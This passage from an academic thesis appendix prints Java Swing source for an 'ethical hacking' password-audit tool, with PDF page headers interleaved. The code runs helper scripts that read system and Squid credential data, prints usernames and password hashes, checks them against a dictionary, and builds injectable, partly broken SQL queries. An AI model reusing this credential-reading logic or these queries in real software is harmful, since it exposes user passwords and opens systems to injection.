'4' && valida_bajo.charAt(i) != '5' && valida_bajo.charAt(i) != '6' && valida_bajo.charAt(i) != '7' && valida_bajo.charAt(i) != '8' && valida_bajo.charAt(i) != '9') { flag_bajo = true; } if (i>1) { flag_bajo = true; } } if (flag_bajo ==true) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","el campo % bajo debe ser un número de maximo dos digitos","ingrese un valor correcto de maximo dos digitos","vuelvalo a intentar..."); text_bajo.setText(""); } alto = new Integer(valida_alto).intValue(); medio = new Integer(valida_medio).intValue(); bajo = new Integer(valida_bajo).intValue(); if ( alto <= medio || alto <= bajo || medio <= bajo || alto ==0 || medio ==0 || bajo==0) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","los % se han ingreaso de modo incorrecto..","consulte con el manual de ayuda.","vuelvalo a intentar..."); text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); fleg = true; } valida_fecha = text_dias.getText().trim(); for (int i =0;i<valida_fecha.length();i++) { if(valida_fecha.charAt(i) != '0' && valida_fecha.charAt(i) != '1' && valida_fecha.charAt(i) != '2' && valida_fecha.charAt(i) != '3' && valida_fecha.charAt(i) != '4' && valida_fecha.charAt(i) != '5' && valida_fecha.charAt(i) != '6' && valida_fecha.charAt(i) != '7' && valida_fecha.charAt(i) != '8' && valida_fecha.charAt(i) != '9') { flag_fecha = true; } if (i>2) { flag_fecha = true; } } if (flag_fecha ==true) {

Page 269: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

254

Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","el campo dias de vigencia de passwd debe ser un número de maximo tres digitos","ingrese un valor correcto de maximo dos digitos","vuelvalo a intentar..."); text_dias.setText(""); } if(valida_alto.trim()!="" && valida_bajo.trim()!="" && valida_medio.trim()!="" && valida_fecha.trim()!="" && fleg == false && flag_fecha ==false) { hide(); dispose(); análisis Análisis = new análisis(ip_final,valida_alto,valida_medio,valida_bajo,valida_fecha); Análisis.show(); }else{ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","los campos no estan llenos completamente","ingrese los valores correctos de maximo dos digitos","vuelvalo a intentar..."); alto=0;

medio=0; bajo=0;

valida_alto=""; valida_medio=""; valida_bajo="";

valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; fleg = false; text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); text_dias.setText(""); } }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","los campos no estan llenos completamente","ingrese los valores correctos de maximo dos digitos","vuelvalo a intentar..."); alto=0; medio=0; bajo=0; valida_alto="";

valida_medio=""; valida_bajo="";

valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; fleg = false;

Page 270: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

255

text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); text_dias.setText(""); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new parametros_análisis(ip_final).setVisible(true); } }); } static String valida_alto=""; static String valida_medio=""; static String valida_bajo=""; static String valida_fecha=""; static String ip_final=""; static boolean flag_alto = false; static boolean flag_medio = false; static boolean flag_bajo = false; static boolean flag_fecha = false; static boolean fleg = false; static int c=0; static int alto=0; static int medio=0; static int bajo=0; private javax.swing.JButton boton_aceptar; private javax.swing.JButton boton_limpiar; private javax.swing.JButton boton_salir; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel11; private javax.swing.JLabel jLabel13; private javax.swing.JLabel jLabel14; private javax.swing.JLabel jLabel15; private javax.swing.JLabel jLabel16; private javax.swing.JLabel jLabel17; private javax.swing.JLabel jLabel19; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel22; private javax.swing.JLabel jLabel23; private javax.swing.JLabel jLabel24; private javax.swing.JTextField text_alto; private javax.swing.JTextField text_bajo; private javax.swing.JTextField text_dias; private javax.swing.JTextField text_medio; }

Page 271: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

256

Análisis.java

import java.io.*; import java.net.*; import java.io.*; import java.io.PrintStream; import java.SQL.*; import java.lang.*; public class análisis extends javax.swing.JFrame { public análisis(String ip_final,String valida_alto,String valida_medio,String valida_bajo,String valida_fecha) { ip_final_1=ip_final; a = valida_alto; b_c = valida_medio; c= valida_bajo; aux_fecha=valida_fecha; valida_alto_1=new Integer(valida_alto).intValue(); valida_medio_1=new Integer(valida_medio).intValue(); valida_bajo_1=new Integer(valida_bajo).intValue(); valida_fecha_1=new Integer(valida_fecha).intValue(); initComponents(); } private void initComponents() { botonsalir1 = new javax.swing.JButton(); jScrollPane3 = new javax.swing.JScrollPane(); tabla_resultados_passwd = new javax.swing.JTable(); boton_guardar_log1 = new javax.swing.JButton(); jLabel1 = new javax.swing.JLabel(); jScrollPane4 = new javax.swing.JScrollPane(); text_analiza_passwd = new javax.swing.JEditorPane(); jLabel2 = new javax.swing.JLabel(); boton_resultados = new javax.swing.JButton(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu(); reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem(); salir = new javax.swing.JMenu();

Page 272: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

257

salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("Pantalla de análisis de passwords"); botonsalir1.setFont(new java.awt.Font("Arial", 0, 10)); botonsalir1.setForeground(new java.awt.Color(0, 102, 102)); botonsalir1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); botonsalir1.setText("Salir"); botonsalir1.setToolTipText("Salir"); botonsalir1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonsalir1ActionPerformed(evt); } }); tabla_resultados_passwd.setFont(new java.awt.Font("Arial", 0, 11)); tabla_resultados_passwd.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { }, new String [] { "Usuario", "Password ", "Tipo usuario", "Análisis", "% seguridad", "Estado" } ) { Class[] types = new Class [] { java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class }; boolean[] canEdit = new boolean [] { false, false, false, false, false, false }; public Class getColumnClass(int columnIndex) { return types [columnIndex]; } public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); jScrollPane3.setViewportView(tabla_resultados_passwd); boton_guardar_log1.setFont(new java.awt.Font("Arial", 0, 10)); boton_guardar_log1.setForeground(new java.awt.Color(0, 102, 102)); boton_guardar_log1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); boton_guardar_log1.setText("Guardar "); boton_guardar_log1.setToolTipText("Log"); boton_guardar_log1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_guardar_log1ActionPerformed(evt); } });

Page 273: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

258

jLabel1.setFont(new java.awt.Font("Arial", 1, 16)); jLabel1.setForeground(new java.awt.Color(0, 102, 102)); jLabel1.setText("Resumen del análisis"); jScrollPane4.setViewportView(text_analiza_passwd); jLabel2.setFont(new java.awt.Font("Arial", 1, 16)); jLabel2.setForeground(new java.awt.Color(0, 102, 102)); jLabel2.setText("Resultados del análisis"); boton_resultados.setFont(new java.awt.Font("Arial", 0, 10)); boton_resultados.setForeground(new java.awt.Color(0, 102, 102)); boton_resultados.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); boton_resultados.setText("Resultados"); boton_resultados.setToolTipText("Log"); boton_resultados.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_resultadosActionPerformed(evt); } }); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas"); scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema"); scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setEnabled(false); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); }

Page 274: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

259

}); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes"); reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas_re.addActionListener(new java.awt.event.ActionListener() {

Page 275: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

260

public void actionPerformed(java.awt.event.ActionEvent evt) { estadisticas_reActionPerformed(evt); } }); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF")); ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de.add(acerca_de_menu); jMenuBar1.add(acerca_de); salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(217, Short.MAX_VALUE) .add(jLabel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 177,

Page 276: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

261

org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(236, 236, 236)) .add(layout.createSequentialGroup() .add(208, 208, 208) .add(jLabel2) .addContainerGap(235, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(30, 30, 30) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 588, Short.MAX_VALUE) .add(layout.createSequentialGroup() .add(boton_resultados) .add(120, 120, 120) .add(boton_guardar_log1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 114, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 124, Short.MAX_VALUE) .add(botonsalir1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 117, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(jScrollPane3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 588, Short.MAX_VALUE)) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 177, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 134, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(21, 21, 21) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_resultados, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 40, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonsalir1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(boton_guardar_log1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 40,

Page 277: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

262

org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addContainerGap(13, Short.MAX_VALUE)) ); pack(); }// </editor-fold> private void estadisticas_reActionPerformed(java.awt.event.ActionEvent evt) { estadistica as = new estadistica(); as.show(); } private void boton_resultadosActionPerformed(java.awt.event.ActionEvent evt) { for (int i = 0; i < 99; i++) { for(int j=0;j<5;j++){ tabla_resultados_passwd.setValueAt("",i,j); } } text_analiza_passwd.setText(""); cadena_total_análisis=""; cadena_total_analizar=""; cadena_total_datos=""; q=0; aux_muestra=""; auxiliar_resultados=""; contador_alfabeto=0; contador_minusculas=0; contador_números=0; contador_mayusculas=0; contador_especiales=0; longitud_password=0; validador =0; secuencia=0; pos1=0; pos11=0; anio_bd=0; mes_bd=0; dia_bd=0; dia_s=0; dia=""; dia_sist=""; fecha_bd=""; anio=""; mes=""; b=0; anio_total=0; mes_total=0; cont_punt=0; a_analizar=""; usuario=""; u_usuario="";

Page 278: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

263

anio_sistema=""; mes_sistema=""; conclusion_análisis=""; aax=""; anio_s=0; mes_s=0; aux_análisis=""; aux_seguridad=""; aux_expirado=""; aux_resultado=""; cusuarios=0; cpasswords=0; cservicios=0; canálisis=0; cseguridad=0; cexpirados=0; cresultado=0; q=0; a_contar=0; aux_squid=""; cont_punt_squid=0; diccionario= false; fecha_coincide=false; fecha_coincide_1=false; band_fechita=false; band_sist = false; band_bd = false; for (int i = 0; i < 99; i++) { for(int j=0;j<3;j++){ tabla_resultados_passwd.setValueAt("",i,j); } } try { if (ejecuta_análisis()){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","Espere un momento",”Realizando el reporte de análisis","Puede demorar varios minutos..."); boton_guardar_log1.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","no se pudo ejecutar la funcion de análisis de contraseña","consulte con la ayuda del sistema","Gracias"); boton_guardar_log1.setEnabled(false); } } catch (Exception e) {

Page 279: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

264

e.printStackTrace(); Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de análisis de contrase�as","consulte con la ayuda del sistema","gracias"); } text_analiza_passwd.setText(cadena_total_datos); System.out.println(cadena_total_analizar); for(int eg=0; eg < usuarios.length;eg++) { tabla_resultados_passwd.setValueAt(usuarios[eg],eg,0); } for(int eg1=0; eg1 < passwords.length;eg1++) { tabla_resultados_passwd.setValueAt(passwords[eg1],eg1,1); } for(int eg2=0; eg2 < servicios.length;eg2++) { tabla_resultados_passwd.setValueAt(servicios[eg2],eg2,2); } for(int eg3=0; eg3 < análisis_passwords.length;eg3++) { tabla_resultados_passwd.setValueAt(análisis_passwords[eg3],eg3,3); } for(int eg4=0; eg4 < seguridad.length;eg4++) { tabla_resultados_passwd.setValueAt(seguridad[eg4],eg4,4); } for(int eg5=0; eg5 < expirados.length;eg5++) { tabla_resultados_passwd.setValueAt(expirados[eg5],eg5,5); } } public static boolean ejecuta_análisis() throws Exception { Process p_squid = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/show-squid"); is_squid = p_squid.getInputStream(); br_squid = new BufferedReader (new InputStreamReader (is_squid)); aux_squid = br_squid.readLine(); while (aux_squid!=null ) //inicio while aux_squid { System.out.println (aux_squid); cadena_total_datos = cadena_total_datos + '\n' + aux_squid; if ( !( aux_squid.endsWith(" left") || aux_squid.equals("") ) ) //inicio if aux_squid { for (int ke_squid =0; ke_squid< aux_squid.length();ke_squid++)//inicio

Page 280: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

265

for ke_squid { if (aux_squid.charAt(ke_squid)==':')//inicio if empatar claves { usuarios[cusuarios]=aux_squid.substring(0,ke_squid); passwords[cpasswords]=aux_squid.substring(ke_squid+1); servicios[cservicios]="squid"; cusuarios++; cpasswords++; cservicios++; }//fin if empatar claves }// fin for ke_squid }//fin if ends with aux_squid = br_squid.readLine(); }// end while axu_squid p_squid.waitFor(); Process p_muestra = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/show-passwd"); is_muestra = p_muestra.getInputStream(); br_muestra = new BufferedReader (new InputStreamReader (is_muestra)); aux_muestra = br_muestra.readLine(); while (aux_muestra!=null ) { System.out.println (aux_muestra); cadena_total_datos = cadena_total_datos + '\n' + aux_muestra; if (aux_muestra.endsWith("bash") || aux_muestra.endsWith("nologin")|| aux_muestra.endsWith(":")) // inicio if aux_muestra.end with(bash).. { int cache=0; for (int ke =0; ke< aux_muestra.length();ke++) { if (aux_muestra.charAt(ke)==':' && cache==0)//inicio if empatar claves { usuarios[cusuarios]=aux_muestra.substring(0,ke); cache++; cont_punt=ke; cusuarios++; }else{ if(aux_muestra.charAt(ke)==':' && cache ==1){ passwords[cpasswords]=aux_muestra.substring(cont_punt+1,ke); cache++; cpasswords++; } }//fin if empatar claves }// fin for if(aux_muestra.endsWith("bash"))//inicio if tt { servicios[cservicios]="sistema con privilegios";

Page 281: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

266

cservicios++; }// fin if tt if(aux_muestra.endsWith("nologin")) { servicios[cservicios]="sistema sin privilegios"; cservicios++; } if(aux_muestra.endsWith(":")) { servicios[cservicios]="samba"; cservicios++; } }// fin if aux_muestra.end with(bash).. if (aux_muestra.startsWith("$1$")) { for (int ke =0; ke< aux_muestra.length();ke++) { if (aux_muestra.charAt(ke)==':') { cadena_total_analizar = cadena_total_analizar + aux_muestra.substring(ke+1) + '\n'; } } } aux_muestra = br_muestra.readLine(); }// fin while cadena_total_datos = cadena_total_datos + '\n' + "Entonces,los passwords sometidos al análisis serán--> " + '\n' +cadena_total_analizar; for(int i = 0; i < usuarios.length && usuarios[i]!= null; i++) { System.out.print("Usuario : " + usuarios[i] +'\n'); } for(int j = 0; j < passwords.length && passwords[j]!=null; j++) { System.out.print("Password : " + passwords[j] + '\n'); } for(int e = 0; e < servicios.length && servicios[e]!=null; e++) { System.out.print("Servicio : " + servicios[e] + '\n'); } for (int i= 0; i < passwords.length ;i++) { if (passwords[i]!=null) { a_analizar= passwords[i]; u_usuario = usuarios[i]; a_contar = a_analizar.length();

Page 282: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

267

try{ //is = new BufferedReader(new FileReader ("/root/hacking_etico/utilitarios/diccionario_completo")); is = new BufferedReader(new FileReader ("/root/hacking_etico/utilitarios/dic")); while (is.ready() && diccionario==false) { aax =(String)is.readLine(); System.out.println("recuperado de archivo:--> "+aax); if (a_analizar.equals(aax)) { diccionario=true; break; } } is.close(); } catch (IOException e) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo leer el archivo de diccionarios de palabras","consulte con la ayuda del sistema","gracias..."); System.out.println ("Error al ler el archivo"); } try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where direccion = '192.168.100.74'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { System.out.println('\n'+"----pasamos y se ejecuto la consulta---"+'\n'); System.out.println("PASSWORD A ANALIZAR--> "+a_analizar); System.out.println("PERTENCE AL USUARIO--> "+u_usuario); System.out.println("PASSWORD DE LA BASE--> " + resultset.getString("password")); System.out.println("USUARIO DE LA BASE--> " + resultset.getString("usuario")); System.out.println("LA IP A ANALIZAR ES:----->"+ ip_final_1); if (a_analizar.equals(resultset.getString("password") ) && u_usuario.equals(resultset.getString("usuario") )) // inicio if compara usuario y passwd { System.out.println('\n'+"---pasamos y si hubo coincidencia---"+'\n'); try{ Connection connection1 = ACCESS.ObtenerConexion();

Page 283: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

268

Statement statement1 = connection1.createStatement(); String SQL1 = "select fecha from reporte where usuario = "+u_usuario+"' and password = '"+a_analizar+"'"; ResultSet resultset1 = statement1.executeQuery(SQL1); while (resultset1.next())// inicio while resultset fechas { Fecha time = new Fecha(); String fecha_sistema = time.getFecha(); System.out.println("la fecha de hoy es---> "+fecha_sistema); band_sist = false; int long_fecha_sistema=fecha_sistema.length(); String fecha_bd = resultset.getString("fecha"); int long_fecha_bd = fecha_bd.length(); band_bd = false; System.out.println("la fecha de la base es--> "+fecha_bd); for (int u=0;u<long_fecha_bd;u++) { if (fecha_bd.charAt(u)=='/' && band_bd == false) { dia= fecha_bd.substring(0,u); // recuperar los dias System.out.println("los dias de base de datos son"+ dia); dia_bd = new Integer(dia).intValue(); pos1= u;band_bd=true; }else{ if (fecha_bd.charAt(u)== '/' && band_bd ==true) { anio = fecha_bd.substring(u+1); System.out.println("los años base datos son"+ anio); anio_bd = new Integer(anio).intValue(); // conversion mes = fecha_bd.substring(pos1+1,u); System.out.println("los meses de Bd son"+ mes); mes_bd = new Integer(mes).intValue(); } }// fin if else }//fin for descompone fecha de la base for (int u1=0;u1<long_fecha_sistema;u1++) { if (fecha_sistema.charAt(u1)=='/' && band_sist == false) { dia_sist= fecha_sistema.substring(0,u1); //recuperar dias System.out.println("Los dias del sistema son:"+ dia_sist); dia_s = new Integer(dia_sist).intValue(); pos11= u1;band_sist=true; }else{ if (fecha_sistema.charAt(u1)== '/' && band_sist ==true) { //int pos2= u; anio_sistema = fecha_sistema.substring(u1+1);

Page 284: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

269

System.out.println("el año del sistema es: "+ anio_sistema); anio_s = new Integer(anio_sistema).intValue(); // buscar la conversion mes_sistema = fecha_sistema.substring(pos11+1,u1); System.out.println("los meses de la fecha del sistema es:-- "+ mes_sistema); mes_s = new Integer(mes_sistema).intValue(); } }// fin if else }//fin for int valor_1 = (anio_bd*365)+(mes_bd*30)+(dia_bd); int valor_2 = (anio_s*365)+(mes_s*30)+(dia_s); int valor_total_1 = valor_2 - valor_1; System.out.println("valor base de d-->"+ String.valueOf(valor_1)+" valor sistema-->"+String.valueOf(valor_2)+" y el total de la resta.."+String.valueOf(valor_total_1) ); if (valor_total_1 > valida_fecha_1) { System.out.println("valor parametro---- "+String.valueOf(valida_fecha_1)); fecha_coincide_1=true; System.out.println("ESTA EXPIRADO"); } }// fin while resultset fechas connection1.commit(); statement1.close(); }catch (Exception e) { System.out.println("Error al consultar los datos no hay datos" + e); }// fin try consultar usuarios }else{ fecha_coincide = false; System.out.println("LA FECHA ES VALIDA"); }// fin if compara usuario y password }//fin for connection.commit(); statement.close(); }catch (Exception e) { System.out.println("Error al consultar los datos " + e); }// fin priemr try if(fecha_coincide_1==true) { expirados[cexpirados]="expirado"; cexpirados++; }else{

Page 285: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

270

